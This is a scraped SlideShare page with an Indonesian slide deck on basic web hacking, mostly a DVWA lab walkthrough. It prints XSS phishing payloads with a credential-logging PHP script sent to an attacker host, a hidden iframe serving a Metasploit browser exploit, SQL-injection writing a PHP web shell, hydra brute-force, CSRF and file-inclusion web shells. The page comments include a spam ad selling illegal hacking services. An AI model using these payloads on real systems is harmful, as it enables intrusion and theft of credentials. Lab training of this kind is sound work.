Web Hacking (basic)

51,945 views
51,832 views

Published on

The content:
1. Discuss about famous web attack vector
2. DVWA low security level walkthrough
3. Web Application Security Tools, nikto and nmap
4. Burp Suite Usage

Published in: Technology
10 Comments
25 Likes
Statistics
Notes
  • Need an experienced hacker? Need access to various social networks? Look no further. We also offer the following services- change of grades, clearing of criminal records, blog and website hacking, clear credit card debts, smartphone hacks, DDOS and MITM attacks, pen testing and email account hacks. Contact us on here hackerinthegrey@gmail.com. You won't be disappointed!
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • http://goo.gl/5PLBqM
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Terima kasih atas berbagi ilmunya
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • makasih mas
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • ijin sedot om... makasih ilmnya
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total views
51,945
On SlideShare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
3,615
Comments
10
Likes
25
Embeds 0
No embeds

No notes for slide

Web Hacking (basic)

  1. 1. Third EditionWebHacking(Basic)Ahmad Muammar, OSCP (C) 2013
  2. 2. ATTACK VECTOR1 Pada BAB ini akan dibahas mengenai jenis-jenis serangan yang umumnya terjadi dan dimanfaatkan oleh attacker untuk dapat melakukan serangan terhadap infrastruktur web. Ahmad Muammar, OSCP (C) 2013
  3. 3. Section 1CROSS SITE Cross Site Scripting (XSS) Cross Site Scripting atau lebih dikenal dengan XSS adalah sa-SCRIPTING (XSS) lah satu jenis serangan terhadap web aplikasi dengan tipe in- jeksi, umumnya akan mengakibatkan kode-kode berbahaya da- pat disisipkan pada web asli dan resmi. Jenis serangan ini umumnya terjadi dikarenakan apikasi web tidak melakukan validasi dan encoding terhadap input yang dib-Daftar Isi erikan oleh user dan langsung men-generate-nya kembali.1. Cross Site Scripting (XSS)2. Tipe XSS 1. Reflected XSS 2. Persistent XSS (Gambar Celah XSS pada situs Paypal) XSS dapat terjadi apabila: 2
  4. 4. 1. Data yang diinputkan ke web aplikasi dilakukan melalui sum- cara benar melakukan parsing atau pembatasan terhadap tag ber yang tidak terpercaya, dan umumnya berupa request ke HTML, maka akan terjadilah celah keamanan ini. web aplikasi. Untuk memanfaatkan celah ini lebih lanjut, umumnya celah re-2. Data di proses kedalam konten dinamik yang di kirim ke flected ini akan di kombinasikan dengan jenis serangan lain pengguna web tanpa terlebih dahulu di validasi. seperti phishing, dimana attacker akan mengirimkan email be- rupa alamat URL situs yang legitimate tetapi mengandung XSS payload yang akan di eksekusi oleh target.TIPE XSS Berikut adalah contoh situs yang memiliki celah keamananBelum ada kesepeakatan berapa jumlah tipe/jenis XSS yang Cross Site Scripting (XSS) Reflectedada, tetapi pada umumnya terdapat beberapa tipe Cross SiteScipting yaitu:1. Non-PersistentTipe non-persistent atau lebih sering dikenal dengan tipe re-flected ini adalah yang paling banyak di temui, tipe ini akan me-nampilkan celah XSS sewaktu data diinput via browser, padaumumnya celah yang dieksploitasi merupakan paramater queryHTTP atau HTML form submissions yang akan di proses olehserver-side dan ditampilkan kembali ke klien seperti pada gam-bar 1.Umumnya celah keamanan ini ditemukan pada halaman pen-carian, karena hasil dari pencarian akan di tampilkan kembalike user, dan apabila response yang akan dikirimkan tidak se- 3
  5. 5. Pada contoh diatas attacker melakukan ujicoba dengan me- Seperti disinggung diatas, umumnya celah keamanan ini diman-masukkan “<h1>XSS</h1>” ke dalam input box untuk pen- faatkan untuk melakukan serangan phishing atau social engi-carian, dan apabila ternyata memiliki celah keamanan XSS, neering terhadap user/pengguna sah dari suatu situs, sebagaimaka akan menampilkan versi Header 1 untuk kata-kata “XSS” contoh adalah user akan di kirimi link untuk melakukan login,seperti berikut ini: karena user hanya memeriksa nama domain dan tanpa me- meriksa keseluruhan link, atau attacker umumnya akan men- girimkan link yang sudah di perpendek dengan layanan “short url”untuk memperbesar kemungkinan user menjadi percaya. Berikut adalah contoh payload XSS dalam serangan yang umumnya digunakan oleh attacker. Attacker akan mengirimkan link berikut ini: http://192.168.1.209/omega-bank/result.php?teks=%3Cbr%3E%3Cbr% 3EPlease+login+with+the+form+below+to%20get%20the%20result:%3 Cform+action%3Dhttp://192.168.1.210/getlogin.php%3E%3Ctable%3E %3Ctr%3E%3Ctd%3ELogin:%3C/td%3E%3Ctd%3E%3Cinput+type%3 Dtext+length%3D20+name%3Dlogin%3E%3C/td%3E%3C/tr%3E%3Ctr %3E%3Ctd%3EPassword:%3C/td%3E%3Ctd%3E%3Cinput+type%3Dt ext+length%3D20+name%3Dpassword%3E%3C/td%3E%3C/tr%3E%3 C/table%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C/for m%3E&password=&submit=Submit Atau apabila di perpendek dengan url-shortener menjadi http://bit.ly/result dan sebagainya, yang apabila di klik oleh user akan menjadi seperti gambar berikut ini: 4
  6. 6. yaitu file getlogin.php yang dalam hal ini akan akan di simpan pada web yang beralamat di http://192.168.1.210 <?php $login = $_GET[login]; $password = $_GET[password]; $fp = fopen("data.txt", "a"); fwrite($fp, “login: ”.$login."| password:".$password. "n"); fclose($fp); ?> Seluruh informasi login user akan di simpan kedalam file data.txt, yang apabila ada user yang melakukan login, maka file data akan mulai terisi dengan format sebagai berikut:Maka saat diakses user, dia akan di bawa ke web resmi, den-gan halaman yang menjadi berisikan halaman login (pada hala-man resmi pencarian), dibanding serangan web phishing den-gan fake sites, celah ini akan lebih valid dan juga bisa memby-pass situs yang mempergunakan SSL-basedKemudian, sesuai dengan payload yang dikirimkan, attacker te-lah membuat web yang akan mengambil seluruh login yangmasuk nantinya. Tetapi, dengan semakin meningkatnya keamanan browser maka dari sisi web browser sendiri melakukan filtering terhadapBerikut ini skrip sederhana yang bisa dipergunakan oleh at- celah keamanan seperti ini, dalam hal ini cross domain policy.tacker untuk mengambil informasi login dan password dari user, Selain hal diatas, attacker juga dapat melakukan hal lain, 5
  7. 7. seperti menyisipkan link yang apabila user mengklik link terse- Attacker menggunakan tag HTML “<b>” untuk mencetak tebalbut akan dibawa kehalaman yang memang sudah di persiap- kata-kata yang dimasukkan pada buku tamu, dan akan disim-kan sama persis seperti aslinya, tanpa melakukan cross- pan oleh server, saat ada pengguna lain yang mengakses bukudomain request. tamu, maka dia akan mendapati pesan dengan teks tebal yang di tulis attacker.2. Persistent Umumnya, jenis serangan yang paling berbahaya dan meman-Tipe yang kedua adalah Persistent XSS, hal ini terjadi apabila faatkan celah XSS tipe ini adalah attacker dapat menyisipkandata yang dimasukkan attacker akan disimpan oleh server dan link dalam tag <iframe> yang akan mengakibatkan user secarasecara permanen ditampilkan saat halaman web tersebut di otomatis mengakses web yang telah di setup oleh attacker ber-buka. isi kode untuk mengeksploitasi browser yang dipergunakanCelah keamanan yang banyak terjadi adalah pada halaman oleh user.Buku Tamu dan juga forum diskusi. Berikut adalah contoh web Celah persistent XSS ini jauh lebih berbahaya bagi user dari su-dengan celah keamanan Cross Site Scripting (XSS) Persistent. atu situs web yang memiliki celah, karena pengguna yang men- gakses akan mengeksekusi XSS payload yang di render oleh server, sehingga seluruh user yang mengakses web tersebut akan rentan terkena serangan ini. Berikut adalah contoh skenario yang dilakukan oleh attacker un- tuk mengambil alih komputer target memanfaatkan celah XSS tipe persistent pada salah satu web dan memanfaatkan celah keamanan pada versi browser yang tidak terupdate. Pertama-tama attacker akan menghost browser exploit pada sa- lah satu situs, dalam hal ini http://192.168.1.99:8080/rOPBgX dan kemudian menuliskan ke dalam Buku tamu pada website yang bercelah dengan tag <iframe 6
  8. 8. src=http://192.168.1.99:8080/rOPBgX width=0 height=0 ></ Sedangkan disisi target adalah akan tampak kurang lebihiframe> seperti berikut ini:Cara termudah bagi attacker untuk mensetup web dengan Victim akan mengakses link buku tamu (guestbook) dan tanpabrowser exploit adalah menggunakan Metasploit, khususnya sadar mengakses iframe yang di set tidak terlihat dengan sizemempergunakan modul , browser_autopwn, tetapi hal ini akan “0” untuk kemudian mengakses situs yang telah kita siapkan be-mengakibatkan seluruh exploit di jalankan oleh Metasploit dan serta exploit untuk bwosernya.berakibat akan sangat kontra-produktif.Sehingga, untuk contoh berikut ini saya hanya mempergunakan1 exploit yang umumnya menyerang browser Internet Explorermsf > info exploit/windows/browser/ie_createobjectName: Internet Explorer COM CreateObject Code ExecutionModule: exploit/windows/browser/ie_createobjectVersion: 15188Platform: WindowsPrivileged: NoLicense: Metasploit Framework License (BSD)Rank: ExcellentUntuk menjalankan eksploitnya, attacker perlu melakukan setbeberapa variabel, khususnya URIPATH /rOPBgX, dan selanjut-nya membiarkan metasploit menjalankan servernya danmenunggu target mengakses link <iframe> yang kita masuk-kan. Sedangkan disisi Attacker, maka akan mendapatkan koneksi dari target, dan proses eksploitasi browser pun berjalan. 7
  9. 9. Dan seperti yang telah kita lihat, attacker telah berhasil men-gambil alih komputer user/target yang mengakses web berisibuku tamu tersebut. :) 8
  10. 10. Section 2SQL Injection SQL Injection SQL injection adalah salah satu Attack vector yang sangat ser- ing dimanfaatkan oleh attacker untuk menyerang suatu web aplikasi khususnya pada layer database. Jenis serangan ini dilakukan dengan memasukkan perintah-Daftar Isi perintah SQL kedalam “request/query” yang dilakukan ke aplikasi web dan akan diteruskan ke server database dengan1. SQL Injection perintah SQL yang telah di modifikasi.! 1.1 Tipe Ancaman Kerentanan ini terjadi ketika semua input yang di masukkan2. Implementasi Teknis oleh pengguna tidak difilter secara baik. Umumnya serangan ini digunakan untuk merubah dan memodifikasi data didalam data-! 2.1 Incorrectly filtered escape characters base atau untuk menampilkan (dump) isi dari database yang berisi informasi login user dan password atau data kartu kredit.! 2.2 Incorrect Type Handling 1.1. Tipe Ancaman! 2.3 SQL Injection Dan berikut ini adalah tabel Tipe ancaman yang mungkin terjadi terhadap layer database dengan jenis serangan SQL injection 9
  11. 11. Tipe Ancaman Contoh SQL injection Implementasi Teknis Mengambil dan menggunakan informasi Berikut ini adalah beberapa implementasi secara teknis jenisSpoofing kredential user lain, memodifikasi value serangan SQL Injection yang umum terjadi pada web aplikasi. pesan yang dibuat oleh penulis sah. Memodifikasi dan merubah data di 1. Incorrectly filtered escape charactersTampering database Tipe SQL Injection ini terjadi apabila pada tempat form input ti- Menghapus event log database, dak terdapat filter yang akan melakukan pemeriksaan terhadapRepudiation menghapus transaction records karakter-karakter yang seharusnya tidak boleh dipergunakan Mendapatkan informasi kartu kredit, dan (escape characters) dan yang dimasukkan pengguna.Information mendapatkan gambaran secara internalDisclosure dari suatu aplikasi Escape characters, salah satu contohnya ‘ (single quote) ini Menjalankan perintah SQL yang juga umumnya yang dipergunakan oleh attacker untuk mende-Denial Of Service teksi apakah suatu web aplikasi memiliki celah SQL Injection, menghabiskan sumber daya. sebagai contoh memasukkan karakter single quote ke input us- Menjalankan perintah shell, melakukan teknik privileges escalation untuk ername akan menampilkan error sebagai berikut:Elevation of Privilige mendapatkan credentials yang menjalankan mysql (root/administrator) (Tabel 1, Jenis Tipe ancaman dan contoh SQL Injection) Dengan adanya error, mengindikasikan bahwa web aplikasi memiliki celah SQL Injection dikarenakan tidak melakukan filter terhadapescape characters. 10
  12. 12. Serangan terjadi umumnya pada form yang membutuhkan inpu- FROM users WHERE name = " + username + "; , dan yangtan dari user, sebagai contoh form untuk login. Attacker akan terkirim ke database server adalah : SELECT * FROM us-umumnya memasukkan karakter yang akan di proses oleh SQL ers WHERE name = OR 1=1;Server, contoh yang sudah sangat umum adalah membypass Dan apabila tidak ada filter terhadap escape charater, makalogin dengan memanfaatkan perintah SQL. SQL akan mengijinkan attacker untuk bisa login ke halaman user, seperti gambar berikut ini: 2. Incorrect Type HandlingPerintah SQL yang umumnya dipergunakan untuk membypasslogin adalah dengan memasukkan inputan untuk usernameyaitu ‘ or ‘1’ = ‘1. Sehingga untuk statement SQL "SELECT * 3. 11
  13. 13. Tipe yang kedua adalah incorrect type handling, celah kea-manan ini terjadi karena kesalahan aplikasi dalam mendefinisi-kan tipe, atau tidak adanya batasan tipe yang dimasukkan. Se-bagai contoh dibawah ini, seharusnya developer memasukkantipe numeric sehingga inputan selain numeric akan di tolak dantidak akan terjadi. Kemudian, pada gambar sebelumnya kita memasukkan perin- tah SQL “desc user” untuk di teruskan oleh aplikasi ke data- base, dan ternyata table user tidak tersedia didalam database “omega” dan kita mendapatkan nama databasenya. selanjutnya, berdasarkan hasil pertama percobaan , kita menge-Seperti biasa, untuk melakukan pemeriksaan kemungkinan ce- tahui bahwa semua perintah SQL akan di lanjutkan oleh weblah sql injection bisa juga dilakukan dengan menggunakan es- aplikasi ke database server. Sehingga, salah satu serangancape characters yang dalam hal ini adalah ‘ (single-quote) yang yang cukup bermanfaat dan bisa kita lakukan selain melakukanmerupakan flase argument, dan kita mengharapkan error. dump data-data di database adalah memanfaatkan perintah 12
  14. 14. menulis ke file dengan fungsi INTO OUTFILE untuk mendapat- 2. Selanjutnya adalah memasukkan payload ke dalam tabelkan akses ke-shell. DOOAdapun langkah yang kita tempuh adalah dengan membuat se- insert into foo(doo) values (<?php system($_RE-buah tabel mysql yang akan kita isikan payload backdoor php QUEST["cmd"]); ?>);dan natinya akan kita tulisi ke file php.1. Langkah pertama adalah membuat tabel dengan perintah:create table foo(doo text) 3.Kemudian kita tulis ke file dengan fungsi INSERT INTO ke da- lam file yang terdapat didalam direktori web, select * into outfile /var/www/omega-bank/upload/bobi.php from foo; 13
  15. 15. 4. Selanjutnya untuk mengakses backdoor, kita bisa mengak- sesnya di URL backdoor tersebut kita tulisi, yaitu: Selanjutnya anda bisa mendownload backdoor yang lebih kom- plek lagi seperti backdoor metasploit meterpreter, dan kemu-http://192.168.1.209/omega-bank/upload/bobi.php?cmd=id dian menjalankan local exploit untuk menjadi root/administrator, atau kegiatan untuk escalating privileges lainnya yang mungkin dapat anda lakukan. 14
  16. 16. DVWA2 Pada BAB ini akan dibahas mengenai jenis-jenis serangan yang umumnya terjadi dan dimanfaatkan oleh attacker untuk dapat melakukan serangan terhadap infrastruktur web dan disimulasikan dengan DVWA. Ahmad Muammar, OSCP (C) 2013
  17. 17. Section 1DVWA DVWA DVWA atau Damn Vulnerable Web Application adalah aplikasi web yang sengaja dibuat dan memiliki celah keamanan dengan bahasa pemrograman PHP dan database engine MySQL.Daftar Isi1. DVWA2. Vulnerability Exploitation 1. HTTP form based Bruteforce 2. Command Execution 3. CSRF (Cross site Request Forgery) 4. File Inclusion 5. SQL Injection 6. BLind SQL Injection 7. Upload 8. XSS Reflected 9. XSS Persistent 16
  18. 18. Tujuannya dibuatnya DVWA adalah sebagai “bantuan” untuk Selain dilengkapi dengan celah-celah keamanan, aplikasiinipara profesional keamanan dalam menguji keterampilan juga dilengkapi dengan aplikasi IDS berbasis php, kemudianmereka, membantu pengembang web lebih memahami proses juga di lengkapi bantuan terkait celah keamanan pada pojokuntuk dapat mengamankan aplikasi web dan bantuan untuk bagian bawah terdapat tombol veiw source dan view help.mempelajari keamanan aplikasi web.DVWA sendiri dapat di dowload di http://dvwa.co.uk dalam ben-tuk web aplikasi atau file ISO.Pada aplikasi DVWA terdapat beberapa celah keamanan yangdapat kita coba untuk di pelajari, diantaranya:1. Http-form-based bruteforce Selain itu juga terdapat level security untuk DVWA, untuk dapat2. Command Execution di eksploitasi dengan mudah maka gunakan setting Low pada DVWA Security.3. CSRF (Cross site Request Forgery)4. File Inclusion5. SQL Injection6. Blind SQL Injection7. Upload8. XSS Reflected9. XSS PersistentSebagai peringatan, jangan install aplikasi ini pada serverproduction anda. Sebisa mungkin digunakan pada kom-puter yang terisolasi, sebaiknya gunakan ISO file saja. 17
  19. 19. Untuk pembelajaran awal, gunakan setting Low pada levelDVWA Security. Dan selanjutnya kita akan membahas satu per-satu cara untuk melakukan eksplotasi terhadap aplikasi DVWAini. 18
  20. 20. Section 2Vulnerability Vulnerability ExploitationExploitation Seperti yang sudah sedikit disinggung diatas untuk memulai me- lakukan eksploitasi terhadap tiap-tiap celah yang terdapat pada dvwa, maka kita harus melakukan setting level DVWA security, untuk tahap awal kita bisa men-set-nya menjadi Low, dan kemu- dian mencoba mengeksploitasi tiap-tiap celah keamanan.Daftar Isi 1. Http-form-based bruteforce1. DVWA Celah pertama yang tersedia dan dapat kita coba untuk eksploi-2. Vulnerability Exploitation tasi adalah celah Bruteforce, umumnya celah ini terdapat pada login form untuk yang form-based atau pada login http-auth, da- 1. HTTP form based Bruteforce lam hal ini celah keamanan bruteforce yang terdapat pada 2. Command Execution DVWA adalah http-form-based. 3. CSRF (Cross site Request Forgery) 4. File Inclusion 5. SQL Injection 6. BLind SQL Injection 7. Upload 8. XSS Reflected 9. XSS Persistent 19
  21. 21. Adapun tools-tools untuk melakukan bruteforce terhadap http- form-based adalah diantaranya: 1. Nmap NSE (http-form-brute) 2. THC Hydra 3. Brutus 4. Acunetix 5. Burp suite Dan selain tools diatas, masih banyak lagi yang mungkin dapat dipergunakan, dalam hal ini kita tidak akan mencobakan se- muanya. Kali ini kita akan mempergunakan THC Hydra untuk membruteforce login, sebelum itu kita harus mempersiapkan dictionary untuk username dan password. DareDevil:hydra-7.4.2 ammar$ cat > user <<EOF > root > foo > admin > administratorCelah bruteforce itu sendiri bisa dieksploitasi secara manual > EOF DareDevil:hydra-7.4.2 ammar$ cat > password << EOFatau mempergunakan tools, biasanya untuk melakukan brute- > 12345force akan lebih efektif menggunakan dictionary yang meru- > qwertypakan kumpulan kata-kata yang umumnya dipergunakan seba- > passwordgai password atau merupakan kumpulan default password > secretyang sudah umum di pergunakan. > password123 > EOF 20
  22. 22. Selanjutnya kita memerlukan beberapa variabel yang nantinya Selanjutnya jalankan hydra untuk melihat opsi yang di miliki.akan kita masukkan sebagai opsi pada thc-hydra, dan (error)response yang ada.Untuk mendapatkan error response, coba login terlabih dahuludengan password sembarang, dalam hal ini kita coba denganadmin:admin dan mendapatkan error “Username and/or pass-word incorrect.” dan kita akan memanfaatkan opsi service: http[s]-{get|post}- form. Untuk melakukan bruteforce kita memerlukan beberapa variabel, yaitu variabel untuk HTTP-method. username, pass- word dan submit, hal itu bisa kita dapatkan dengan melihat source dari halaman login tersebut atau menggunakan local proxy seperti burp atau tamper-data add-ons di firefox. 21
  23. 23. Dan didapatkan username=admin dan password=password. Sehingga apabila kita coba gunakan untuk login, maka kita akan berhasil masuk menggunakan credentials admin.Kemudian, kita bisa menjalankan aplikasi hydra dengan opsi-opsi sebagai berikut:./hydra -l admin -P password 192.168.1.206 http-get-form"/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or passwordincorrect.:H=Cookie: PHPSES-SID=0p61ua4p0u4g28bfk36qcr11c1; security=high"yang hasilnya akan seperti berikut ini apabila berhasil: 22
  24. 24. dan dengan mempergunakan thc-hydra maka akan berhasil di bruteforce juga, seperti berikut ini: #hydra -L user -P password 192.168.1.210 http-post-form "/omega-bank/check.php:username=^USER^&password=^Selanjutnya kita coba pada situs lain, sebagai contoh aplikasi PASS^&Submit=Submit:Not Register or Wrong Password"berikut ini: 23
  25. 25. 2. Command InjectionCelah yang kedua adalah celah command injection, denganadanya celah ini memungkinkan attacker untuk memasukkanperintah (command) via web aplikasi dan akan diteruskan dandijalankan oleh sistem operasi dengan privilege user webaplikasi. Pada DVWA terdapat aplikasi yang mengijinkan kita untuk me- manfaatkan fasilitas PING suatu ip/web melalui aplikasi, seba- gai contoh berikut ini kita melakukan ping terhadap yahoo.com. 24
  26. 26. Dan oleh aplikasi perintah ping kita akan di teruskan ke sistem Dalam hal ini kita mempergunakan separator untuk men-operasi, yang menjadi permasalahan adalah apabila tidak terda- jalankan beberapa perintah pada sistem operasi seperti “;” ataupat filter, sehingga untuk mengeksploitasinya kita dapat me- “&”.masukkan perintah (command) milik sistem operasi. Dan ternyata, seluruh perintah yang kita masukkan akan langs- ung diteruskan oleh aplikasi ke sistem, dan salah satu seran- gan yang mungkin kita lakukan adalah mendownload (misal 25
  27. 27. menggunakan wget) dan menjalankan backdoor (menjalankannetcat atau backdoor yang telah di download).3. Cross Site Request Forgery (CSRF)Celah ketiga yang terdapat pada DVWA adalah CSRF yangmerupakan kependekan dari Cross Site Request Forgery, yangmerupakan salah satu jenis serangan yang memaksa target un-tuk mengeksekusi aksi yang tidak di harapkan dari suatu webaplikasi saat mereka sedang terotentikasi ke web tersebut.Celah ini umumnya dikombinasikan dengan celah sosial engi-neering. Beberapa fitur yang umumnya dijadikan sasaran ada-lah fitur penggantian password, perubahan profile dsb.Pada aplikasi dvwa terdapat form untuk merubah password danternyata memiliki celah CSRF,Cara untuk mengeksploitasinya adalah memberikan link berikutini ke target, baik via email/forum dsb-nya (khususnya yang me-nampilkan html) Sehingga, setiap user yang mengklik link - Click Here - maka<a passwordnya akan terganti menjadi “qwerty”.href="http://192.168.1.208/vulnerabilities/csrf/?password_new=qwerty&password_conf=qwerty&Change=Change#">ClickHere</a> 4. File Inclusion Celah keempat yang terdapat pada DVWA adalah File Inclu- sion, sehingga memungkinkan attacker untuk meng-include- 26
  28. 28. kan file ke aplikasi, umumnya celah ini terbagi dua, local file in-clusion dan remote file inclusion dan celah ini akan semakin ber-bahaya jika kode yang terdapat pada halaman yang di includedi eksekusi oleh aplikasi atau memiliki juga celah codeexecution. Sebagai contoh kita membaca file “/etc/passwd”, yang apabila berhasil maka akan muncul file /etc/passwd yang dapat kita baca. Sedang untuk mencoba apakah suatu web aplikasi memiliki ce-Untuk celah local file inclusion kita bisa mencoba untuk meng- lah remote file inclusion, kita dapat meng-include-kan situs laininclude file yang terdapat di server dan dapat dibaca oleh user ke aplikasi web tersebut, dalam hal ini dvwa, sebagai contoh si-web, dengan memanfaatkan path traversal. tus http://yahoo.com 27
  29. 29. Dan selanjutnya kita coba meng-include-kan pada aplikasi DVWA yang bercelah remote file inclusion, apakah skrip terse- but akan dijalankan dan dieksekusi oleh php di server DVWADan ternyata, aplikasi DVWA memiliki celah remote dan localfile inclusion. Selanjutnya kita akan mencoba meng-include-kanweb dengan halaman php, dalam hal ini berisi fungsi phpinfo();yang apabila di eksekusi berarti aplikasi mengijinkan remote fileinclusion dan remote code execution.Selanjutnya kita akan mengeksploitasinya dengan skrip phpinfosederhana dan disimpan dengan nama phpinfo.txt di webserverlain yang sudha kita persiapkan. Dan ternyata, script tersebut di eksekusi oleh aplikasi DVWA. Selanjutnya kita bisa membuat script php yang berisi web shell dan kita include-kan ke halaman dvwa yang bercelah. 28
  30. 30. Untuk melakukan eksploitasi secara manual terhadap celah sql injection biasa, kita dapat mempergunakan string/numeric true (‘’, “ “,, and 1) dan false (‘, “, , and 0) , maka umumnya yang dilakukan adalah dengan memanfaatkan error dan mempergu- nakan escape character seperti single quote (‘) agar hasil falseKitapun telah bisa berinteraksi dengan sistem melalui script php dan mendapatkan error.web shell yang mengeksploitasi celah keamanan remote file in-clusion dan remote code execution.5. SQL InjectionCelah kelima yang terdapat pada DVWA adalah celah SQL In-jection. Untuk mengeksploitasinya kita bisa melakukan secaramanual atau dapat mempergunakan tools scanner untuk mene-mukan celahnya, dan juga untuk mengeksploitasinya. Toolsyang sangat umum dipergunakan salah satunya sqlmap. 29
  31. 31. dan menghasilkan error sql, seperti berikut ini:atau untuk login kita bisa menggunakan perintah 1‘ OR “=’yang berarti True dan hasil akan ditampilkan. Agar Query kitadiproses dan tidak ada query lagis etelahnya di proses, kitabisa menggunakan comment out query pada akhir sql state-ment yang kita gunakan diantaranya #, /*, -- -. Dan untuk mencari jumlah column yang terdapat di tabel dari database yang bisa kita pergunakan, kita bisa melakukannya dengan cara mengaksesnya 1 persatu sampai tidak menjadi er- ror, untuk asumsi 1 column, gunakan ‘union select 1#Sekarang apabila kita bypass dengan semua true, tanpa ID 30
  32. 32. dan apabila masih terdapat error seperti ini: selanjutnya yang mungkin dilakukan adalah berinteraksi den- gan database, sehingga kita dapat melihat seluruh isi data-data di database, seperti berikut:kemudian di coba lagi dengan 2 column, Dari info diatas kita mengetahui nama database dari dvwa yaitu ‘dvwa’, dan untuk mengetahui nama tabel, jika mysql ver 4 kitadan ternyata tidak error lagi dan kita ketahui bahwa ada 2 col- harus melakukan bruteforce, atau jika itu berupa opensourceumn, jika masih error dapat dilanjutkan sampai tidak ada error. cms kita bisa melihatnya, sedangkan untuk mysql versi 5 kita bisa mempergunakan table information_schema yang memberi-Setelah kita mendapatkan jumlah column yang di tampilkan, se- kan informasi terkait data-data yang terdapt didalam databaselanjutnya untuk setiap query kita bisa memanfaatkan 2 kolom seperti nama database dan nama tabel, tupe data dan kolomtersebut, sebagai contoh kita hanya mempergunakan kolom ke- atau akses privilege.dua Seperti contoh berikut ini adalah mengakses tabel informa- tion_schema. 31
  33. 33. yang hasilnya adalah sebagai berikut: Setelah kita dapatkan nama database (dvwa), kemudian nama tabel dan jumlah kolom, selanjutnya kita perlu mencari nama kolomnya, dengan kembali memanfaatkan tabel information_schema.column denagn perintah berikut: union all select column_name,database() from information_schema.columnss where table_schema=dat- abase()#atau hanya melihat informasi nama tabel dari database yangkita gunakan saja menggunakan perintah sql sebagai berikut: union all select table_name,database() frominformation_schema.tables where table_schema=dat-abase()# 32
  34. 34. Dan didapatkan username admin dengan hash password: 5f4dcc3b5aa765d61d8327deb882cf99 yang setelah di crackSekarang kita bisa mendapatkan informasi user dan pass- merupakan md5 hash dari password.wordnya dengan menggunakan database dvwa, tabel usersdan kolom user dan passwordunion select user,password from dvwa.users#Sehingga akan didapatkan data usernama dan passsword dariaplikasi dvwa, seperti pada gambar berikut ini: 33
  35. 35. Selanjutnya kita dapat mempergunakan fungsi-fungsi lain dari 6. Blind SQL Injectionmysql yang berguna bagi kita, seperti membaca file denganfungsi load_file() atau menulis ke file dengan fungsi into out- Celah keenam yang terdapat pada DVWA adalah celah Blindfile(). SQL Injection, perbedaan celah ini dan celah SQL injection ada- lah error yang tidak muncul. Sehingga untuk mengeksploitasi-Dengan fungsi load_file(), memungkinkan kita untuk membaca nya. Sebagai contoh saat kita masukkan single quote (‘).file-file yang dapat dibaca oleh user yang menjalankan webaplikasi/web user. Kita dapat membaca file konfigurasi datbasedari web server, konfigurasi dari server, dsb. Dan tidak terdapat error mysql sama sekali yang tampil. Untuk mengetahui apakah situs tersebut memiliki celah sql injection atau tidak kita bisa memasukkan perintah sql, sebagai contoh menggunakan true or false argument. True condition memasukkan ID= 1 OR =# ; jika hasil yang di- proses oleh aplikasi adlaah sama denagn ID=1 berarti ke- mungkinan aplikasi memiliki celah SQL Injection (Blind), dan diperoleh hasil sebagai berikut: 34
  36. 36. Mari kita coba dengan untuk asumsi 1 column, gunakan ‘union select 1#Dan ternyata memiliki hasil yang sama dengan ID=1, sekarangkita coba False argument, Dan tidak ada error yang dihasilkan. Kita lanjutkan dengan ‘union select 1,2#Dan proses eksploitasi sql injection pun terjadi, selanjutnya kitaakan menentukan field yang dapat kita manfaatkan. Cara yangakan dipergunakan sama seperti cara kita saat mencari celahSQL Injection, perbedaannya adalah apabila jumlah field benarmaka hasil akan tampil, sebaliknya jika jumlah field salah makatidak akan tampil apa-apa. Dan kita mendapatkan bahwa terdapat sejumlah 2 column yang kedua-duanya bisa kita manfaatkan, karena dalam beberapa 35
  37. 37. kasus terdapat beberapa column, dan bisa jadi tidak semuanyabisa dimanfaatkan.Dan langkah yang dilakukan sleanjutnya sama, sampai kitamendapatkan username dan password dari user aplikasi,atau mendapatkan akses ke sistem mempergunakan fungsiload_file() atau into outfile(). 36
  38. 38. 7. Upload Selanjutnya, kita hanya perlu mencari URI path yang tepat men- garah ke file yang kita update, dan dalam hal ini kita tauCelah ketujuh yang terdapat pada DVWA adalah celah fungsi diupload ke folder tersebut, sehingga kita bisa langsung men-upload, celah ini biasanya kita temukan dibanyak aplikasi web. gakses http://192.168.1.208/hackable/uploads/shell.php sepertiCelah ini paling mudah di eksploitasi, dan pada level dvwa secu- pada gambar berikut:rity low tidak ada filter terhadap file sama sekali, sehingga kitadapat mengupload file backdoor .php, dalam hal ini kita gu-nakan file yang sama saat kita melakukan eksploitasi remotefile inclusion, tetapi dengan ekstensi “.php”Kemudian dinyatakan bahwa kita berhasil melakukan uploadfile “shell.php” Atau anda bisa membuat php based “reverse/bind shell” back- door dengan metasploit :). 37
  39. 39. 8. Cross Site Scripting (XSS) ReflectedCelah kedelapan adalah celah cross site scripting reflected, ce-lah ini mengijinkan kita memasukan perintah html, javascript.Sebagai contoh kita mempergunakan tag html <h1>, seperticontoh berikut:Exploit/XSS payload : <h1>XSS</h1> Dan umumnya celah XSS Reflected ini dimanfaatkan oleh at- tacker untuk melakukan kegiatan phishing dan social engineer- ing, karena serangan ini hanya berlaku client-side dan reflectedTetapi pada beberapa situs, umumnya forum diskusi beberapa sehingga hanya target yang menerima link dengan payload xsstag HTML memang diijinkan, dan untuk meyakinkan kita gu- yang akan terkeksploitasi.nakan tag yang umumnya di filter yaitu <iframe>, <script> dan Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk keberikut ini kita coba memasukkan iframe dengan XXS payload bab 1 bagian Attack Vector Cross Site Scripting (XSS).sebagai berikut:<IFRAME+SRC=http://192.168.1.208><%2FIFRAME> 9. Cross Site Scripting (XSS) PersistentMaka kita akan mendapatkan hasil sebagai berikut: Celah kesembilan dan terakhir dari aplikasi DVWA adalah celah cross site scripting persistent, celah ini seperti celah XSS re- flected mengijinkan kita memasukan perintah html, javascript ke aplikasi, dan bedanya adalah xss payload yang kita masuk- kan akan tersimpan, sehingga seluruh user yang mengakses situs atau URL akan mungkin tereksploitasi. 38
